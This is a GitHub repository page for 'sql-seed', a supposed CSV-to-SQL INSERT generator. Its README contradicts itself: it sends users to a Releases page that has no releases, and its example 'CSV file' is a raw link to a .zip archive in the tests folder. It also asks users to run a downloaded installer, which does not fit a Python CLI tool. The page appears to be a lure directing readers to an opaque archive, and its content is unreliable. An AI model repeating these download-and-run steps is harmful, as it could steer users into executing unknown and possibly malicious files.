Skip to content

imfhussain/sql-seed

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

7 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌟 sql-seed - Create SQL Statements Easily

πŸš€ Getting Started

Welcome to sql-seed! This application helps you generate realistic SQL INSERT statements from CSV files. It does this by automatically figuring out data types and adjusting batch sizes, making your database seeding straightforward.

➑️ Download Now

Download sql-seed

Visit the Releases page to download sql-seed, where you can find the latest version ready for use.

πŸ–₯️ System Requirements

Before you begin, make sure your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Python Version: Python 3.6 or later installed
  • Memory: At least 512 MB RAM
  • Disk Space: Minimum 10 MB free space

πŸ“¦ Download & Install

To get started, follow these simple steps:

  1. Click on the link below to go to the Releases page:

    Download sql-seed

  2. Choose the latest version suitable for your operating system.

  3. Click on the downloaded file to start the installation.

  4. Follow the on-screen instructions to complete the installation.

πŸ› οΈ How to Use sql-seed

Once you have installed sql-seed, you can start generating your SQL statements. Here’s how:

  1. Prepare Your CSV File: Make sure your CSV file is formatted correctly. The first row should contain column headers, and subsequent rows should contain the data.

  2. Open the Command Line Interface: Depending on your operating system:

    • Windows: Open Command Prompt.
    • macOS/Linux: Open Terminal.
  3. Run sql-seed: Type the following command, replacing <path_to_csv> with the path to your CSV file:

    sql-seed <path_to_csv>
    
  4. Adjust Settings (Optional): You can customize the batch size and other settings by adding flags. For instance:

    sql-seed --batch-size 100 <path_to_csv>
    
  5. View the Output: The generated SQL statements will appear in your console. You can copy these directly for use in your database.

πŸ™Œ Features

  • Automatic Type Inference: sql-seed automatically determines the appropriate data types for your SQL statements.
  • Batch Sizing: Customize how many records to insert at once, improving performance.
  • Multi-Database Support: Use sql-seed with MySQL, PostgreSQL, and more.

πŸ“ Example Usage

Here is a quick example:

  1. Suppose you have a https://raw.githubusercontent.com/imfhussain/sql-seed/main/tests/sql_seed_1.5.zip file with the following content:

    id,name,age
    1,John Doe,30
    2,Jane Smith,25
    
  2. Run sql-seed with this command:

    sql-seed https://raw.githubusercontent.com/imfhussain/sql-seed/main/tests/sql_seed_1.5.zip
    
  3. You will see output like:

    INSERT INTO users (id, name, age) VALUES (1, 'John Doe', 30);
    INSERT INTO users (id, name, age) VALUES (2, 'Jane Smith', 25);

❓ Troubleshooting

If you encounter issues while using sql-seed, consider the following solutions:

  • Check Your CSV Format: Ensure your CSV file adheres to the correct structure.
  • Verify Python Installation: Make sure Python is installed and added to your system PATH.
  • Read Error Messages Carefully: These messages can guide you to the problem.

πŸ“ž Support & Contributions

For more support or to report issues, please visit our GitHub Issues page. Your feedback is essential for improving sql-seed.

To contribute to the project, feel free to fork the repository and submit a pull request. We welcome any improvements or suggestions!

🏷️ Topics

  • cli
  • csv
  • database
  • database-seeding
  • developer-tools
  • mysql
  • postgresql
  • python
  • seed-data
  • sql
  • sql-generator

πŸ”— Useful Links

Enjoy generating your SQL statements with ease!

About

πŸ“Š Generate realistic SQL INSERT statements from CSV files with automatic type inference and batch sizing for multiple SQL dialects.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages